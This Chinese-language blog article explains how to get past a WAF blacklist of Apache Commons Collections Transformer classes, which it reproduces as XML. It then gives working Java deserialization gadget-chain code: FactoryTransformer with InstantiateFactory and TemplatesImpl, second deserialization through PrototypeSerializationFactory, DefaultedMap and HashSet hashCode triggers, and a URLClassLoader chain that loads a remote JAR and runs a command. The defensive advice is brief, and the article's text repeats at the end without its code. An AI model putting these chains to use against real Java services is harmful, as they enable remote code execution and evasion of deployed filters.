CC链再次挖掘
字数 1499 2025-08-22 18:37:22

Apache Commons Collections 反序列化漏洞深入分析与利用

1. 背景与WAF分析

文章首先展示了一个针对Apache Commons Collections (CC)反序列化漏洞的WAF配置:

<?xml version="1.0" encoding="UTF-8"?>
<config>
  <blacklist>
    <!-- ysoserial's CommonsCollections1, 3, 5, 6 payload -->
    <regexp>org\.apache\.commons\.collections\.Transformer$</regexp>
    <regexp>org\.apache\.commons\.collections\.functors\.InvokerTransformer$</regexp>
    <regexp>org\.apache\.commons\.collections\.functors\.ChainedTransformer$</regexp>
    <regexp>org\.apache\.commons\.collections\.functors\.ConstantTransformer$</regexp>
    <regexp>org\.apache\.commons\.commons\.functors\.InstantiateTransformer$</regexp>
    
    <!-- ysoserial's CommonsCollections2, 4 payload -->
    <regexp>org\.apache\.commons\.collections4\.functors\.InvokerTransformer$</regexp>
    <regexp>org\.apache\.commons\.collections4\.functors\.ChainedTransformer$</regexp>
    <regexp>org\.apache\.commons\.collections4\.functors\.ConstantTransformer$</regexp>
    <regexp>org\.apache\.commons\.collections4\.functors\.InstantiateTransformer$</regexp>
    <regexp>org\.apache\.commons\.collections4\.comparators\.TransformingComparator$</regexp>
  </blacklist>
</config>

这个WAF主要拦截了常见的Transformer实现类,因此需要寻找新的利用链和绕过方式。

2. 关键类分析

2.1 FactoryTransformer

FactoryTransformer是一个关键的替代类,其transform方法可以调用iFactory.create()

public Object transform(Object input) {
    return iFactory.create();
}

通过控制iFactory,可以实现恶意利用。特别适合与InstantiateFactory配合使用。

2.2 InstantiateFactory

InstantiateFactorycreate方法可以实例化类,类似于InstantiateTransformer

public Object create() {
    if (iConstructor == null) {
        findConstructor();
    }
    try {
        return iConstructor.newInstance(iArgs);
    } catch (InstantiationException ex) {
        // ...
    }
}

2.3 利用POC示例

TemplatesImpl templates = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("Test.class"));
setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_name", "calc");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

InstantiateFactory instantiateFactory = new InstantiateFactory(
    TrAXFilter.class, new Class[]{Templates.class}, new Object[]{templates});
FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory);

HashMap map = new HashMap();
LazyMap lazymap = (LazyMap) LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "123");
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry, "ljl");
setFieldValue(lazymap, "factory", factoryTransformer);
lazymap.remove("123");

2.4 PrototypeSerializationFactory

PrototypeFactory的静态内部类PrototypeSerializationFactory可以实现二次反序列化:

public Object create() {
    ByteArrayOutputStream baos = new ByteArrayOutputStream(512);
    ByteArrayInputStream bais = null;
    try {
        ObjectOutputStream out = new ObjectOutputStream(baos);
        out.writeObject(iPrototype);
        bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream in = new ObjectInputStream(bais);
        return in.readObject();
    } // ...
}

通过反射可以设置iPrototype

Class c = Class.forName("org.apache.commons.collections.functors.PrototypeFactory$PrototypeSerializationFactory");
Constructor constructor = c.getDeclaredConstructor(Serializable.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(hashMap);

2.5 ReflectionFactory

MultiValueMap的静态类ReflectionFactory可以实例化类,但只能调用无参构造方法,利用价值有限。

2.6 CloneTransformer

CloneTransformertransform方法:

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    return PrototypeFactory.getInstance(input).create();
}

最终调用的是无参的clone方法,利用条件较为苛刻。

3. 其他利用方式

3.1 execute和evaluate方法

  • ClosureTransformertransform方法调用execute
  • TransformerClosureexecute方法又调用transform
  • TransformedPredicateevaluate方法调用transform

这些方法形成了循环调用,难以直接利用。

3.2 SwitchTransformer

可以替代ChainedTransformer实现循环调用:

public Object transform(Object input) {
    for (int i = 0; i < iPredicates.length; i++) {
        if (iPredicates[i].evaluate(input) == true) {
            return iTransformers[i].transform(input);
        }
    }
    return iDefault.transform(input);
}

3.3 DefaultedMap

类似于LazyMap,触发get方法:

public Object get(Object key) {
    if (map.containsKey(key) == false) {
        if (value instanceof Transformer) {
            return ((Transformer) value).transform(key);
        }
        return value;
    }
    return map.get(key);
}

利用链示例:

ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
DefaultedMap.get()
ChainedTransformer.transform()
...

3.4 通过hashCode利用

利用HashSetreadObject调用HashMapput方法,进而触发hashCode

HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
...

示例POC:

final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet map = new HashSet(1);
map.add("foo");

// 通过反射修改HashSet内部Map的key
Field f = HashSet.class.getDeclaredField("map");
f.setAccessible(true);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = HashMap.class.getDeclaredField("table");
f2.setAccessible(true);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
Field keyField = node.getClass().getDeclaredField("key");
keyField.setAccessible(true);
keyField.set(node, entry);

4. 高级利用技巧

4.1 远程加载JAR

通过URLClassLoader实现远程代码执行:

new ConstantTransformer(java.net.URLClassLoader.class),
new InvokerTransformer("getConstructor", 
    new Class[]{Class[].class}, 
    new Object[]{new Class[]{java.net.URL[].class}}),
new InvokerTransformer("newInstance", 
    new Class[]{Object[].class}, 
    new Object[]{new Object[]{new java.net.URL[]{new java.net.URL(url)}}}),
new InvokerTransformer("loadClass", 
    new Class[]{String.class}, 
    new Object[]{"Z"}),
new InvokerTransformer("getConstructor", 
    new Class[]{Class[].class}, 
    new Object[]{new Class[]{String.class}}),
new InvokerTransformer("newInstance", 
    new Class[]{Object[].class}, 
    new Object[]{new String[]{command}})

5. 防御建议

  1. 升级Apache Commons Collections到最新安全版本
  2. 使用更严格的WAF规则,不仅拦截Transformer类,还要拦截危险的方法调用
  3. 对反序列化操作进行严格限制,使用白名单机制
  4. 使用Java安全管理器限制敏感操作

6. 总结

本文详细分析了多种绕过CC链WAF的方法,包括:

  • 使用FactoryTransformerInstantiateFactory替代被拦截的Transformer
  • 利用PrototypeSerializationFactory实现二次反序列化
  • 通过DefaultedMap替代LazyMap
  • 利用hashCode触发链
  • 远程加载JAR等高级技巧

这些技术展示了即使在被WAF拦截常见类的情况下,攻击者仍然可以通过寻找替代类和利用Java反序列化机制的特性来实现攻击。

Apache Commons Collections 反序列化漏洞深入分析与利用 1. 背景与WAF分析 文章首先展示了一个针对Apache Commons Collections (CC)反序列化漏洞的WAF配置: 这个WAF主要拦截了常见的Transformer实现类,因此需要寻找新的利用链和绕过方式。 2. 关键类分析 2.1 FactoryTransformer FactoryTransformer 是一个关键的替代类,其 transform 方法可以调用 iFactory.create() : 通过控制 iFactory ,可以实现恶意利用。特别适合与 InstantiateFactory 配合使用。 2.2 InstantiateFactory InstantiateFactory 的 create 方法可以实例化类,类似于 InstantiateTransformer : 2.3 利用POC示例 2.4 PrototypeSerializationFactory PrototypeFactory 的静态内部类 PrototypeSerializationFactory 可以实现二次反序列化: 通过反射可以设置 iPrototype : 2.5 ReflectionFactory MultiValueMap 的静态类 ReflectionFactory 可以实例化类,但只能调用无参构造方法,利用价值有限。 2.6 CloneTransformer CloneTransformer 的 transform 方法: 最终调用的是无参的 clone 方法,利用条件较为苛刻。 3. 其他利用方式 3.1 execute和evaluate方法 ClosureTransformer 的 transform 方法调用 execute TransformerClosure 的 execute 方法又调用 transform TransformedPredicate 的 evaluate 方法调用 transform 这些方法形成了循环调用,难以直接利用。 3.2 SwitchTransformer 可以替代 ChainedTransformer 实现循环调用: 3.3 DefaultedMap 类似于 LazyMap ,触发 get 方法: 利用链示例: 3.4 通过hashCode利用 利用 HashSet 的 readObject 调用 HashMap 的 put 方法,进而触发 hashCode : 示例POC: 4. 高级利用技巧 4.1 远程加载JAR 通过URLClassLoader实现远程代码执行: 5. 防御建议 升级Apache Commons Collections到最新安全版本 使用更严格的WAF规则,不仅拦截Transformer类,还要拦截危险的方法调用 对反序列化操作进行严格限制,使用白名单机制 使用Java安全管理器限制敏感操作 6. 总结 本文详细分析了多种绕过CC链WAF的方法,包括: 使用 FactoryTransformer 和 InstantiateFactory 替代被拦截的Transformer 利用 PrototypeSerializationFactory 实现二次反序列化 通过 DefaultedMap 替代 LazyMap 利用hashCode触发链 远程加载JAR等高级技巧 这些技术展示了即使在被WAF拦截常见类的情况下,攻击者仍然可以通过寻找替代类和利用Java反序列化机制的特性来实现攻击。